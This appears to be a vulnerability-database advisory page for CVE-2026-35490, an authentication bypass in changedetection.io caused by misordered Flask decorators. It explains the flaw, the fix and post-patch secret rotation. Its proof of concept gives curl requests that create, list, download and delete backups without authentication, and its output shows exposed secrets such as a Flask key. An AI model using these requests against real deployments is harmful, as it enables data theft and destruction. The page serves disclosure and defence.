Skip to main content

Python CVE-2026-35490

CRITICAL
Incorrect Authorization (CWE-863)
2026-04-06 https://github.com/dgtlmoon/changedetection.io GHSA-jmrh-xmgh-x9j4
9.8
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Analysis Generated
Apr 06, 2026 - 19:00 vuln.today
Patch released
Apr 06, 2026 - 19:00 nvd
Patch available
CVE Published
Apr 06, 2026 - 18:00 nvd
CRITICAL 9.8

DescriptionGitHub Advisory

Summary

On 13 routes across 5 blueprint files, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.

The developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.

Details

Correct order (used on 30+ routes):

python
@blueprint.route('/settings', methods=['GET'])
@login_optionally_required
def settings():
    ...

Incorrect order (13 vulnerable routes):

python
@login_optionally_required
# ← Applied to return value of @route, NOT the view
@blueprint.route('/backups/download/<filename>')
# ← Registers raw function
def download_backup(filename):
    ...

POC

=== PHASE 1: Confirm Authentication is Required ===

$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/
Main page:     HTTP 302 -> http://127.0.0.1:5557/login?next=/
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/settings
Settings page: HTTP 302 (auth required, redirects to login)

Password is set. Unauthenticated requests to / and /settings
are properly redirected to /login.

=== PHASE 2: Authentication Bypass on Backup Routes ===
(All requests made WITHOUT any session cookie)

--- Exploit 1: Trigger backup creation ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/request-backup
Response: HTTP 302 -> http://127.0.0.1:5557/backups/
(302 redirects to /backups/ listing page, NOT to /login -- backup was created)

--- Exploit 2: List backups page ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/
Response: HTTP 200

--- Exploit 3: Extract backup filenames ---
$ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup
Found: changedetection-backup-20260331005425.zip

--- Exploit 4: Download backup without authentication ---
$ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip
Response: HTTP 200

$ file /tmp/stolen_backup.zip
/tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate

$ ls -la /tmp/stolen_backup.zip
-rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip

$ unzip -l /tmp/stolen_backup.zip
Archive:  /tmp/stolen_backup.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    26496  2026-03-31 00:54   url-watches.json
       64  2026-03-31 00:52   secret.txt
       51  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt
     1682  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br
     4395  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/6b3a3023b357a0ea25fc373c7e358ce2.txt.br
       51  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/history.txt
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/1774911131.html.br
       73  2026-03-31 00:54   url-list.txt
      155  2026-03-31 00:54   url-list-with-tags.txt
---------                     -------
   114721                     10 files

--- Exploit 5: Extract sensitive data from backup ---
Application password hash: pG+Bq6s4/EhsRqYZYc7kiGEG1QMd2hMuadD5qCMbSBcRIMnGTATliX/P0vFX...
Watched URLs:
  - https://news.ycombinator.com/  (UUID: 4ff247a9...)
  - https://changedetection.io/CHANGELOG.txt  (UUID: c8d85001...)

Flask secret key: 7cb14f56dc4f26761a22e7d35cc7b6911bfaa5e0790d2b58dadba9e529e5a4d6

--- Exploit 6: Delete all backups without auth ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/remove-backups
Response: HTTP 302

=== PHASE 3: Cross-Verification ===

Verify protected routes still require auth:
  /         -> HTTP 302 (302 = protected)
  /settings -> HTTP 302 (302 = protected)

=== RESULTS ===

PROTECTED routes (auth required, HTTP 302 -> /login):
  /              HTTP 302
  /settings      HTTP 302

BYPASSED routes (no auth needed):
  /backups/request-backup  HTTP 302 (triggers backup creation, redirects to /backups/ not /login)
  /backups/                HTTP 200 (lists all backups)
  /backups/download/<file> HTTP 200 (downloads backup with secrets)
  /backups/remove-backups  HTTP 302 (deletes all backups)

[+] CONFIRMED: Authentication bypass on backup routes!

Impact

  • Complete data exfiltration - Backups contain all monitored URLs, notification webhook URLs (which may contain API tokens for Slack, Discord, etc.), and configuration
  • Backup restore = config injection - Attacker can upload a malicious backup with crafted watch configs
  • SSRF - Proxy check endpoint can be triggered to scan internal network
  • Browser session hijacking - Browser steps endpoints allow controlling Playwright sessions

Remediation

Swap the decorator order on all 13 routes. @blueprint.route() must be outermost:

python
# Before (VULNERABLE):
@login_optionally_required
@blueprint.route('/backups/download/<filename>')
def download_backup(filename):
# After (FIXED):
@blueprint.route('/backups/download/<filename>')
@login_optionally_required
def download_backup(filename):

AnalysisAI

Authentication bypass in changedetection.io allows unauthenticated remote attackers to access backup management endpoints due to incorrect Flask decorator ordering. Attackers can trigger backup creation, list all backups, download backup archives containing application secrets, webhook URLs with embedded tokens, monitored URLs, Flask secret keys, and password hashes, or delete all backups without authentication. The vulnerability affects 13 routes across 5 blueprint files where @login_optionally_required is placed before @blueprint.route() instead of after it, causing Flask to register the undecorated function and silently disable authentication. Publicly available exploit code exists (POC demonstrated complete data exfiltration), though no confirmed active exploitation (CISA KEV). EPSS data not provided, but CVSS 9.8 (network-exploitable, no authentication required, high confidentiality/integrity/availability impact) indicates critical severity.

Technical ContextAI

This vulnerability stems from misunderstanding Flask's decorator execution order. In Python, decorators are applied bottom-to-top, so @blueprint.route() must be the outermost (bottom) decorator to register the wrapped function with the routing system. When @login_optionally_required appears before (above) @route(), Flask's routing mechanism receives and registers the original undecorated view function, completely bypassing the authentication wrapper. The affected product is changedetection.io, a Python-based website change monitoring tool (pkg:pip/changedetection.io). The root cause maps to CWE-863 (Incorrect Authorization), a common class of authorization bypass vulnerabilities where security checks exist but are improperly enforced due to implementation flaws. The developer correctly applied decorator ordering on 30+ other routes, making this a consistency error rather than systematic misunderstanding. The Flask framework provides no compile-time or runtime warnings for this misconfiguration, creating a silent security failure mode.

RemediationAI

Vendor-released patch available in changedetection.io version 0.54.8. Organizations should immediately upgrade to version 0.54.8 or later via pip (pip install --upgrade changedetection.io) or pull the latest Docker image. The fix corrects decorator ordering on all 13 vulnerable routes by moving @blueprint.route() to the outermost position, ensuring authentication wrappers are properly registered in the call chain (commit 31a760c2147e3e73a403baf6d7de34dc50429c85 at https://github.com/dgtlmoon/changedetection.io/commit/31a760c2147e3e73a403baf6d7de34dc50429c85). No workaround exists for unpatched versions as the authentication bypass is architectural; network-level access controls (firewall rules, VPN requirements, IP allowlisting) can reduce exposure but do not address the underlying vulnerability. After patching, administrators should rotate all application passwords, regenerate Flask secret keys, rotate any webhook URLs or API tokens that may have been exposed in downloaded backups, and audit access logs for suspicious backup-related requests from unexpected IP addresses or during unusual timeframes. Full security advisory at https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-jmrh-xmgh-x9j4.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-35490 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy